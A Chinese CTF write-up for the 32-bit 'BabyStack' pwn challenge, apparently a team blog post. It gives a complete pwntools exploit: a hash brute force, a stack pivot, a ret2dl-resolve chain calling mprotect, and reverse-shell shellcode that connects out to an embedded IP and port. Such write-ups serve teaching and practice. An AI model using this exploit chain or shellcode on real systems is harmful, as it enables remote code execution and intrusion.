[Pwn] BabyStack - Cpt.shao xp0int Posted on Apr 10 2018 ? Pwn ? ? Stack-overflow ? ? Ret2dl-resolve ? ? rop ? 好像很久没有碰到32位的题目了,这题的逻辑是出奇的简单,就是一个单纯的read造成的栈溢出,难度在于binary外面包了一层python的wrapper python wrapper ```python #!/usr/bin/python -u # encoding: utf-8 import random, string, subprocess, os, sys from hashlib import sha256 os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work(): chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16)) print chal sol = sys.stdin.read(4) if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'): exit() def exec_serv(name, payload): p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT) raw_input('start?') p.stdin.write(payload) p.wait() if __name__ == '__main__': proof_of_work() print 'Success!' payload = sys.stdin.read(0x100) exec_serv('./babystack', payload) ``` 可以看到首先要爆破一个哈希,接着wrapper新开一个子进程,把输出全部都填到/dev/null这个黑洞里面了,所以不要指望从程序中泄露出任何信息,当然也包括flag。 好在这题也没有开PIE,搜索了一下发现这种不能用ret2libc的题目可以用一种叫做ret2dl-resolve的技术来进行攻击,参考资料还可以发现有一个现成的框架来解决问题,叫`roputils`。 研究了一下还是决定自己动手实现一下,于是参考了日本盆友的这篇文章[ ROP stager + Return-to-dl-resolveによるASLR+DEP回避](http://inaz2.hatenablog.com/entry/2014/07/15/023406), 简单说攻击分两步,第一步stager先把stack pivot带到我们可以控制的bss段,然后再用ret2dl-resolve的技巧伪造结构来调用任意函数。 一开始还傻乎乎的去调用`system('/bin/sh')`,发现是根本没有输出拿不到flag的,接着又尝试了在拿到无回显shell基础上用反弹shell,结果还是不行的。 于是只好换一种思路,先用`mprotect`解开bss段上面的执行保护,然后把shellcode放到上面去执行。 说到shellcode又是搞了半天,先是找了一个反弹shellcode在本机跑的时候是没问题的,但是打不了远程。以为是长度限制问题,花了好久时间最后换了一个shellcode就可以了。 爆破的部分参考了@CirQ老哥的经验用pwntools的多线程爆破模块,不一定每次都成功,但是成功率至少有40%。 ## BabyStack.py ```python from pwn import * from pwnlib.util.iters import * import string from hashlib import sha256 # flag{return_to_dlresolve_for_warming_up} context.log_level = 'debug' context.arch = 'i386' # p = process('./babystack') p = remote('202.120.7.202', 6666) # p = remote('127.0.0.1', 6666) elf = ELF('./babystack') rop = ROP(elf) chal = p.readline()[:-1] print hexdump(chal) def fun1(s): return sha256(chal+s).digest().startswith('\0\0\0') ans = mbruteforce(fun1, string.letters+string.digits, 4) raw_input('chanl?') p.send(ans) ppp_ret = 0x080484e8 pop_ebp_ret = 0x080484eb leave_ret = 0x080483a8 stack_size = 0x800 base_stage = elf.bss() + stack_size # rop = ROP('./babystack') read_plt = elf.plt['read'] # p.info('read_plt :%x' % read_plt) payload = cyclic(40) + p32(base_stage) rop.raw(read_plt) rop.raw(leave_ret) rop.raw(0) rop.raw(base_stage) rop.raw(0x100) payload += rop.chain() # gdb.attach(p , 'b * 0x8048300') # p.send(payload) addr_dynsym = 0x80481cc addr_dynstr = 0x804822c addr_relplt = 0x80482b0 addr_plt = 0x80482f0 addr_reloc = base_stage + 28 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xf) addr_sym += align_dynsym addr_symstr =addr_sym + 16 addr_cmd = addr_symstr + 9 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xff | 0x7 st_name = addr_symstr - addr_dynstr rop2 = ROP(elf) rop2.raw('AAAA') rop2.raw(addr_plt) rop2.raw(reloc_offset) rop2.raw(addr_cmd) rop2.raw(0x804a000) rop2.raw(0x1000) rop2.raw(7) rop2.raw(elf.got['read']) rop2.raw(r_info) payload2 = rop2.chain() + 'A'*align_dynsym payload2 += p32(st_name) + p32(0) + p32(0) + p32(0x12) payload2 += 'mprotect\x00' shellcode = "\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0" shellcode +="\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68" shellcode +="\x7f\x01\x01\x01" # <--- ip address shellcode +="\x66\x68" shellcode +="\x82\x35" # <--- tcp port shellcode +="\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1" shellcode +="\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" payload2 += shellcode # gdb.attach(p, 'b mprotect') fin = payload + payload2 fin = fin.ljust(0x100) p.send(fin) p.interactive() ``` 感觉这个Ret2dl-resolve真是个好用的东西,好像不用作什么修改就能达到通杀的效果,以后也许可以简化一下rop的攻击步骤了。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Web] ezDoor - pyz
没有帐号? 立即注册